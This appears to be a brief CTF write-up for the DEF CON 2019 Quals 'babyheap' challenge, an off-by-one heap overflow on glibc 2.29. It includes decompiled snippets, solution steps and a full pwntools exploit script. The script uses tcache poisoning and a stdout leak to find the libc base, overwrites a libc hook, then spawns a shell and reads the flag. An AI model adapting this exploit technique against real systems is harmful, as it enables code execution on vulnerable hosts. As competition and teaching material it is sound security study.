比赛期间在运维本校比赛就没咋做…speedrun了一些…感觉还没有做到ooo的精华部分.只做了些热身

babyheap

An interesting challenge about off_by_one on glibc-2.29

Analysis

  • checksec
    ➜  Desktop checksec DCQ/babyheap 
    [*] '/home/n132/Desktop/DCQ/babyheap'
      Arch:     amd64-64-little
      RELRO:    Full RELRO
      Stack:    Canary found
      NX:       NX enabled
      PIE:      PIE enabled
      FORTIFY:  Enabled
    

    off_by_one:

    while ( buf != 10 && buf )
    {
      *(_BYTE *)(v4->ptr + v3) = buf;
      read(0, &buf, 1uLL);
      if ( size == v3 )
        return 0LL;
      ++v3;
    }
    

    some restricting:

  • two choices of chunk_size
    if ( (unsigned int)size <= 0xF8 )
      list[i].ptr = (__int64)malloc(0xF8uLL);
    else
      list[i].ptr = (__int64)malloc(0x178uLL);
    
  • 10 ptr
     if ( list[0].ptr )
    {
      v0 = &unk_555555558070;
      for ( i = 1; ; ++i )
      {
        v0 += 2;
        if ( !*(v0 - 2) )
          break;
      }
      if ( i > 9 )
        return 4294967293LL;
    }
    else
    {
      i = 0;
    }
    

    Solution

  • off_by_one to modify the next_chunk_head
  • free next chunk
  • call malloc and reset the fd of the next chunk example:
    add()#0
    add()#1
    add()#2
    free(0)
    add(0xf8,"A"*0xf8+'\x81')
    free(1)
    add(0x1f8,"A"*0x100+'pattial_write')
    

example

from pwn import *
def cmd(c):
	p.sendlineafter("> ",str(c))
def add(size,c):
	cmd('M')
	cmd(size)
	p.sendlineafter("tent:\n> ",c)
def free(idx):
	cmd('F')
	p.sendlineafter("> \n",str(idx))
def Free(idx):
	cmd('F')
	p.sendlineafter("> ",str(idx))
def show(idx):
	cmd('S')
	cmd(idx)
#context.log_level='debug'
#p=process("./babyheap")
p=remote('babyheap.quals2019.oooverflow.io', 5000)

add(0xf7,"A"*0xf8)#0
add(0xf7,"A"*0xf8)#1
add(0xf7,"A"*0xf8)#2
free(0)
add(0xf8,"/bin/sh;".ljust(0xf8,"A")+"\x81")#0 off by one chun 1
for x in range(7):
	add(0xf7,'A')
free(9)
free(3)
free(2)
free(4)
free(5)
free(6)
free(7)
free(1)
free(8)

for x in range(4):
	add(0xf7,"A")# 1-4 
add(0x178,"A"*0x100+'\x60\x9a')#5

free(1)
free(2)
add(0xf8,'A'*0xf8+'\x81')#1
add(0xf8,"A")#2
free(2)

# 26789 ==nul
# IO_leak
add(0x178,'A'*0x100+'\x50\x17')#2
add(0x78,"/bin/sh")#6
add(0x78,"/bin/sh")#7
add(0x78,"A"*0x10+p64(0xfffffffffbad1880)+'\x01'*0x18+'\x01')#8
p.read(7)
base=u64(p.read(8))-(0x7ffff7fb3570-0x7ffff7dcc000)
log.warning(hex(base))
# LEAK over

Free(5)# 59
add(0x178,'A'*0xf8+'\x01\x01')#5

Free(6)
Free(5)
add(0x178,"A"*0x100+p64(base+0x7ffff7fb35a8-0x7ffff7dcc000)[:6])

Free(2)
add(0xf8,"A")
Free(5)
add(0xf8,p64(base+0x106ef8)[:6])
#gdb.attach(p,'')
Free(0)
context.log_level='debug'
p.sendline("cat flag")
raw_input()

p.interactive()